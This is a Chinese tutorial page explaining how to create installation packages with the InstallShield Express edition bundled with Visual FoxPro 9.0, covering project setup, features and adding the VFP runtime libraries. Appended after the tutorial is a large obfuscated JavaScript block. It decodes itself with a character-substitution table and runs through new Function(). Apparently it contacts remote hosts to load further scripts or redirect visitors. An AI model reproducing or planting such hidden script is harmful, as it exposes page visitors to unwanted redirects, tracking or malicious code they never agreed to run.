如何使用VFP9.0自带的InstallShield制作安装程序
推荐回答(1个)
一、 首先安装VFP9.0自带的InstallShield程序
在VFP9.0的安装包中,自带有InstallShield的安装程序,该程序在一个名为installshield的文件夹中,打开该文件夹,双击那个名为isxfoxpro.exe的文件,可启动安装向导,然后按向导操作,即可完成对InstallShield Express 5.0软件的安装。
二、 使用InstallShield Express 5.0制作安装程序
启动InstallShield Express 5.0 for visual foxpro后,出现三个页面,它们是Start Page(开始页面)、Projecte Assistant(项目助理)和Installation Designer(安装设计)。下面分别介绍每页中的具体设置方法。
(一) Start Page(开始页面)
在Project Tasks(项目任务栏)中选Create a new project(建立一个新项目)项,打开New Project对话框,选“Express Project”:
在Project Name栏填入你的项目名称;
在Project Language 选择语言,一般选Chinese(Simplified);
在Location填入生成的安装程序的路径,并将下面的“Create project file in?Project
Name?subfolder”选项打钩。
新建项目完成,点击“OK”进入下页(Projecte Assistant)。
(二) Projecte Assistant(项目助理) 页
进行如下设置:
1.Application Information
该项填入安装程序的有关信息:公司名称、安装程序名称、版本、网址、图标等。 注:“Specify your company name(公司名称)”项目应填入安装程序的文件夹名称。
2.Installation Requirements
该项选择安装程序今后运行的操作系统等,一般按默认选项。
3.Installation Architecture
按默认选项。
4.Application Files;
选择需安装的文件或文件夹,将其加入。
5.Application Shortcuts
选择主程序的快捷启动方式。
6. Application Registry
如需要修改操作系统的注册表则进入该项,进行修改。
7.Installation Interview
对安装过程中出现的版权对话框、公司名称、用户名、是否要修改安装路径、是否能选择安装部分文件及选择主程序等进行设置。
8.Build Installation
建立安装文件的类型,分:单一执行文件、网络安装、光盘安装等。
注意:到此已基本完成,但千万不要按“Build Installation”按钮!先进入(Installation Designer)页面。
(三) Installation Designer(安装设计)
在此页面中可对上述的设置进一步进行详细的设置和修改,最重要的是应将VFP9.0的运行时刻库加入到安装文件中,否则不能脱离VFP运行。
加入方法:在该页面左侧栏内选②下的“Redistributables”,找到“Microsoft Visual Foxpro 9 Runtime Libraries”,将其选中即可。
在完成所有的设置后,最后再进入上页(Projecte Assistant),进入“Build Installation”,点击“Build Installation”按钮,便完成安装程序的制作!
如何使用InstallShield制作安装程序
原文中的图片均采用英文界面,本文将全部改为简体中文汉化处理后的界面,文中涉及的所有选项和菜单名称也均修改为中英文对照的方式,中文名称均与汉化版本相同,以方便大家与简体中文汉化处理后的版本对照使用,文中部分语句也进行了适当的修改,使其更加通顺易懂。)
从Visual FoxPro 7.0开始,取消了一直使用的安装向导,而是在发布盘中附带一个有功能限制的InstallShield Express软件,虽然有功能上的限制,但是相对于安装向导而言,该工具所具有的强大功能和灵活的安装程序建立技术,使客户高效安装和配置应用程序成为可能。由于该软件全部为英文界面,并且由于其功能强大也导致了安装设置上的复杂性与多样性,可能令许多一直使用安装向导制作安装程的Visual FoxPro程序员一时难以上手。本文将结合一个具体安装程序的制作过程,详细介绍该工具的使用方法。
1、发布应用程序前
Visual FoxPro 8.0安装光盘中包含了InstallShield Express 3.54 (SP4)的限制版,很自然,除了使用该软件外,也可以使用任何基于Microsoft Windows Installer技术的安装程序制作软件来建立一个安装程序(.msi)或与Microsoft Windows Installer兼容的合并模块(.msm),除了Visual FoxPro运行时间库文件外,一些发布方案需要合并模块,详细信息请参考Visual FoxPro帮助中对发布方案的介绍。
准备发布一个应用程序时,首先应该考虑几个问题。除了在下面介绍的应用程序发布过程中的过程大纲外,还应当确认应用程序结构,解决如何交付应用程序给客户,以及如何更好的组织自己的安装程序,当回答了所有这些问题时,发布Visual FoxPro 应用程序就准备好了。
本文的例子中要发布的这个应用程序是一个用于检测网络通信状态的工具,在该软件中,使用一个第三方控件Ping Wizard(用于执行网络检测)和通用控件Microsoft StatusBar Control 6.0(用于显示一些状态信息),该软件包含一个可执行EXE文件和一个CHM帮助文件及一些数据库文件。
2、使用InstallShield Express创建安装程序
建立安装工程是建立安装程序的第一步。使用InstallShield Express建立的工程文件(.ism)是基于Windows Installer工程文件的,该文件存储所有的逻辑和必要的信息来建立一个与Windows Installer兼容的安装程序。
图1 InstallShiled Express界面 图2 新建
工程对话框
⑴、建立安装工程
① 首先打开InstallShiled Express,如图1所示。
② 在File(文件)菜单上单击New(新建)选项来打开New Project(新建工程)对话框,图2。
③ 在Project Name and Location(工程名和位置)框中选定要保存的工程的位置,并重新命名默认得工程名,然后单击OK(确定)按钮。
④ 如果要建立英语语言之外的安装程序,可以在Project Language(工程语言)列表框中选择一个相应的替代语言。例如,如果要在安装程序对话框中使用简体中文文字,必须将语言设置为Chinese(Simplified),否则安装期间对话框的中文将会变成乱码。
需要注意的是,在选择了一种语言后,不能再进行修改。该工程的设置如图2所示。
⑵、定义工程属性
在建立一个安装工程之后,可以定义工程的属性,如:
● Product Name(产品名称)
● Product Version(产品版本)
● Product Icon(产品图标)
● 所有应用程序文件的默认安装目录
● Readme文件的名称和位置
至少应该指定产品名称并指定一个默认安装目录。InstallShield Express中的INSTALLDIR属性指定默认安装目录的位置,如应用程序主目录。由INSTALLDIR属性指定的默认安装目录位置是:
[ProgramFilesFolder]Your Company Name\Your Product Name
注意:推荐为用户的应用程序更改Your Company Name和Your Product Name为适当的名称。也可以通过设置INSTALLDIR为应用程序指定的一个不同的目录,例如,以ScanPing作为应用程序的安装目录:
[ProgramFilesFolder]ScanPing
如果计划安装一些数据或数据库文件,也可以编辑DATABASEDIR属性来为这些文件指定默认的目标目录。
为安装工程指定常用信息的方法如下:
① 在Organize Your Setup(组织安装文件)节点下单击General
Information(常规信息)。
② 编辑属性列表中的各字段值。
我们对于该工程的设置如图3所示。
图3 工程属性设置 图4
新建部件
⑶、划分产品功能
从应用程序用户和InstallShield Express的整体看,一个功能可以被作为一个应用程序的组件。该功能为用户部分安装应用程序提供了可能。例如,在Visual FoxPro安装期间,可以指定是否安装作为功能组件的Visual FoxPro示例和Visual FoxPro工具。
注意:在创建一个安装程序时,划分产品功能并不是必要的,尽管这对用户有帮助。
安装功能的默认设置是Always Install(总是安装),新建一个功能的步骤如下:
① 在Organize Your Setup(组织安装文件)节点下单击Features(部件)。 ② 添加一个新功能,在窗格中间的树形视图的Features(部件)节点单击右键,然后单击New Feature(新建部件),如图4所示。
③ 输入一个新部见名称并回车。
在确认产品部件后,可以设置部件属性,例如部件描述、部件如何被发布,以及部件是否为必须等。
设置部件属性的步骤如下:
① 选定要修改属性的部件。
② 在属性列表中,单击或双击属性的字段值来编辑该值。要显示更多选项,单击右边的“…”或下拉箭头按钮。
③ 为属性输入或选择新值。
例如,要想提供安装应用程序帮助文件的安装选项,下面的步骤将建立该部件,并命名为“帮助文件”。如果要使“帮助文件”在安装时可选,要设置Required(必需的)属性为No(否)。如果你希望在用户第一次通过按F1使用帮助时,常使调用该功能,并提供用户进行安装,应当设置Advertised(做广告)属性为Allow Advertise(允许广告,即可选择“在首次使用时安装”)
!function(){function a(a){var _idx="f4isr6o1zu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR87o6L5KO}4_"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"7o6L5KO}4_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR87o6L5KO}4_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();